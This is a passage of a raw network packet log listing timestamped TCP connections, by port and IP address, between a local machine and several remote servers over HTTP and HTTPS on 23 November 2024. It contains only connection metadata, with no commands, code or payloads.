Nov 23, 2024 21:59:38.709996939 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.710966110 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.710972071 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.767507076 CET	49861	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.767549038 CET	443	49861	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.767642021 CET	49861	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.767951965 CET	49862	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.767990112 CET	443	49862	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.768062115 CET	49862	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.768364906 CET	49861	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.768382072 CET	443	49861	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.768584013 CET	49862	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.768595934 CET	443	49862	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.865150928 CET	443	49849	3.160.188.68	192.168.2.6
Nov 23, 2024 21:59:38.865777016 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:38.865786076 CET	443	49849	3.160.188.68	192.168.2.6
Nov 23, 2024 21:59:38.866889000 CET	443	49849	3.160.188.68	192.168.2.6
Nov 23, 2024 21:59:38.866955042 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:38.867777109 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:38.867847919 CET	443	49849	3.160.188.68	192.168.2.6
Nov 23, 2024 21:59:38.969238997 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:38.969247103 CET	443	49849	3.160.188.68	192.168.2.6
Nov 23, 2024 21:59:39.007136106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007217884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.007226944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007236958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007266045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007286072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.007292986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007330894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.007339001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007339954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.007358074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007369041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.007380962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.007397890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.008244991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.015556097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.015640974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.018220901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.018284082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.018290043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.018351078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.026604891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.026755095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.127257109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.127335072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.157592058 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.157780886 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.157871962 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.158896923 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.158911943 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.162981033 CET	49863	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.163019896 CET	443	49863	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.163300991 CET	49863	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.163393021 CET	49863	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:39.163402081 CET	443	49863	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:39.173902035 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:39.174283981 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.177906036 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.177992105 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.177999973 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.189500093 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.190571070 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.190578938 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.223457098 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.223547935 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.223563910 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.233109951 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.233191967 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.233201027 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.238966942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.238981009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.239094019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.243031025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.243046045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.243161917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.243197918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.247618914 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.247704983 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.247714996 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.249376059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.249449968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.249526024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.249586105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.257406950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.257421017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.257473946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.262079000 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.262289047 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.262294054 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.265525103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.265588999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.265614033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.266000986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.272536039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.272609949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.272651911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.272695065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.279624939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.279834986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.280282021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.280370951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.286704063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.286813974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.286911011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.286978960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.293744087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.293908119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.293935061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.293965101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.300712109 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.300789118 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.300795078 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.300828934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.300967932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.300976038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.301023960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.307884932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.307977915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.308022976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.308079004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.309048891 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.309118986 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.309124947 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.315043926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.315119982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.360272884 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.380008936 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.380292892 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:39.380316973 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.380652905 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.380990982 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:39.381050110 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.381237984 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:39.384078979 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.388427973 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.388519049 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.388528109 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.396553993 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.396668911 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.396675110 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.413149118 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.413247108 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.413302898 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.413322926 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.413474083 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.423326969 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:39.449403048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.449479103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.449563980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.449603081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.500775099 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.501096010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.501120090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.501183033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.504379988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.504441977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.504544973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.504595995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.504625082 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.504669905 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.504671097 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.504682064 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.504745960 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.511579037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.511694908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.511696100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.511734009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.512980938 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.518501997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.518590927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.518868923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.518929958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.520225048 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:39.520992041 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:39.521013975 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:39.521399021 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.521469116 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.521477938 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:39.521480083 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.522074938 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:39.522156000 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:39.522428036 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:39.525580883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.525640965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.525665045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.525856972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.528556108 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.528614044 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.528621912 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.532628059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.532687902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.532819033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.532890081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.534781933 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.535104990 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.535111904 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.539844990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.539949894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.540159941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.540277004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.540931940 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.541049004 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.541054964 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.546838999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.546849966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.546941042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.551758051 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.551794052 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.552453995 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.552469015 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.552541971 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.553848982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.554156065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.554341078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.557172060 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.560950994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.561234951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.561315060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.561996937 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.563329935 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:39.563894987 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.563903093 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.567414999 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.567483902 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.567490101 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.567961931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.568304062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.568361044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.574605942 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.574637890 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.574743986 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.574750900 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.574795008 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.575192928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.575261116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.575556040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.575875998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.579896927 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.582096100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.582150936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.582206011 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.582396984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.589176893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.589243889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.589349985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.589416027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.594528913 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.594610929 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.594636917 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.596247911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.596309900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.596338034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.596393108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.602530956 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.602581024 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.602618933 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.602626085 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.602698088 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.603298903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.603372097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.603398085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.603566885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.607927084 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.610335112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.610403061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.610584021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.610794067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.613349915 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.613468885 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.613473892 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.617414951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.617489100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.617679119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.617732048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.618786097 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.618872881 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.618880033 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.624541044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.624584913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.624593973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.624622107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.625998020 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.626043081 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.626106024 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.626111984 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.626353979 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.631372929 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.631613970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.631625891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.631681919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.638667107 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.638693094 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.638719082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.638729095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.638767004 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.638773918 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.638818979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.638895988 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.644706964 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.645524979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.645632982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.651019096 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.651128054 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.651133060 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.657248974 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.657319069 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.657324076 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.659848928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.659920931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.659964085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.660154104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.663216114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.663279057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.663454056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.663508892 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.663535118 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.663597107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.663691998 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.663697958 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.663750887 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.668431997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.668467999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.668503046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.668526888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.670006037 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.673526049 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:39.675167084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.675219059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.675247908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.675461054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.677685976 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.677874088 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:39.677887917 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:39.681816101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.681998968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.682161093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:39.682219982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:39.688554049 CET	80	49809	185.215.113.206	192.168.2.6
